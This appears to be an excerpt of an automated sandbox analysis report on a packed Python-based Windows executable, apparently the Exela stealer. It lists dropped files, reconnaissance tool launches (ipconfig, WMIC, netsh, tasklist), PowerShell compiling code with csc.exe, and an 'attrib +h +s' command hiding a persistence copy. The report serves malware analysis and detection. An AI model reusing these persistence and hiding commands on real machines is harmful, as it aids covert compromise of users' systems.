Source: rename_me_before.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: rename_me_before.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: rename_me_before.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: rename_me_before.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: rename_me_before.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: rename_me_before.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: rename_me_before.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: rename_me_before.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.pdb source: powershell.exe, 00000045.00000002.1826414031.000001DBC0644000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: rename_me_before.exe, 00000000.00000003.1661117895.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, _uuid.pyd.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.pdbhP source: powershell.exe, 00000045.00000002.1826414031.000001DBC0644000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \ia.pdbc source: powershell.exe, 00000045.00000002.1848424397.000001DBD74B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: rename_me_before.exe, 00000000.00000003.1659342426.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: rename_me_before.exe, 00000000.00000003.1659342426.000001CF0A290000.00000004.00000020.00020000.00000000.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: rename_me_before.exe, 00000000.00000003.1664519798.000001CF0A292000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1981233285.000001B17FDC0000.00000002.00000001.01000000.00000006.sdmp

Source: rename_me_before.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: rename_me_before.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: rename_me_before.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: rename_me_before.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: rename_me_before.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline"

Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: _rust.pyd.0.dr	Static PE information: section name: UPX2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 69_2_00007FFD99D509A2 pushad ; ret	69_2_00007FFD99D50AE2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 69_2_00007FFD99D500BD pushad ; iretd	69_2_00007FFD99D500C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 69_2_00007FFD99D56329 push ecx; ret	69_2_00007FFD99D5632C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 69_2_00007FFD99D50695 push edx; ret	69_2_00007FFD99D5065A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 69_2_00007FFD99D50A60 pushad ; ret	69_2_00007FFD99D50AE2

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist\_frozenlist.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_websocket.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_socket.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_parser.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_helpers.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\multidict\_multidict.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_writer.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\yarl\_quoting_c.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI13962\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	File created: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Jump to dropped file

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query type= service state= all

Source: C:\Users\user\Desktop\rename_me_before.exe

Code function: 0_2_00007FF6404E6EA0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF6404E6EA0

Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
